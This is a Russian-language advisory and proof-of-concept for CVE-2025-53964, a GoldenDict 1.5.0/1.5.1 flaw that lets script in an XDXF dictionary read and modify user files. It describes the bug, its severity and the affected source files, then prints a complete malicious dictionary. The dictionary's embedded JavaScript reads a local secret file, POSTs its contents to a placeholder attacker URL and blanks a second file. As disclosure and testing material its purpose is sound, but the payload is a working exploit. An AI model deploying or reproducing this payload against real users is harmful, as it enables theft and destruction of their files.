
Эксплуатационный код (Proof-of-concept) для CVE-2025-53964: удаленное чтение/запись файлов через вредоносный словарь XDXF в GoldenDict 1.5.0/1.5.1, использующий несанитизированное выполнение XML и JS.
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 и 1.5.1 имеет открытый опасный метод, позволяющий читать и изменять файлы, когда пользователь добавляет подготовленный словарь, а затем ищет любой термин, включённый в этот словарь.
Продукт предоставляет интерфейс для взаимодействия с внешними субъектами, который включает опасный метод в GoldenDict (версии 1.5.0, 1.5.1), не имеющий должных ограничений. Это позволяет удалённому злоумышленнику получить доступ к чтению и изменению файлов в файловой системе пользователя, когда подготовленный вредоносный словарь добавляется и используется в программе.
CWE-749: Открытый опасный метод или функция; CWE-79: Неправильная нейтрализация ввода во время генерации веб-страницы ('Межсайтовый скриптинг')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
Исполняемый файл GoldenDict, файл исходного кода xdxf.cc, файл исходного кода xdxf2html.cc, файл исходного кода stardict.cc.
Удалённый
true
true
Доступ к чтению и изменению файлов в файловой системе пользователя
Чтобы использовать уязвимость, пользователь должен добавить вредоносный словарь в программу и выполнить поиск любого термина, включённого в этот словарь.
Grebennikov Timofey, специалист группы тестирования на проникновение отдела контроля безопасности разработки компании «Астра Груп».
GoldenDict — это графическая программа для поиска терминов в Wikipedia и локально установленных словарях. Поддерживаются различные форматы словарей, включая формат XDXF с XML-разметкой. Словари распространяются в Интернете другими пользователями.
Программа использует браузерный движок, входящий в состав пакета компонентов Qt Widgets, для рендеринга и отображения слов из словарей.
Было обнаружено сразу несколько нарушений безопасности, которые позволяют реализовать критическую уязвимость:
Вместе эти нарушения приводят к возможности получения доступа к файлам пользователя путём внедрения вредоносного JS-кода в XML-разметку словаря XDXF, загруженного из Интернета.
Чтобы проверить уязвимость на Windows, можно запустить скрипт, который воздействует на два подготовленных файла в файловой системе.
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
При инициализации этот словарь отправит содержимое secret.txt на удалённый сервер и очистит idea.txt.
Проверьте успешность атаки – получатель получит сообщение, содержащее содержимое файла secret.txt, а файл idea.txt будет пустым.
Уязвимость затрагивает как системы Windows, так и Linux. Для воспроизведения уязвимости на системе Linux необходимо использовать другие каталоги для хранения тестовых файлов и указать это во вредоносном коде.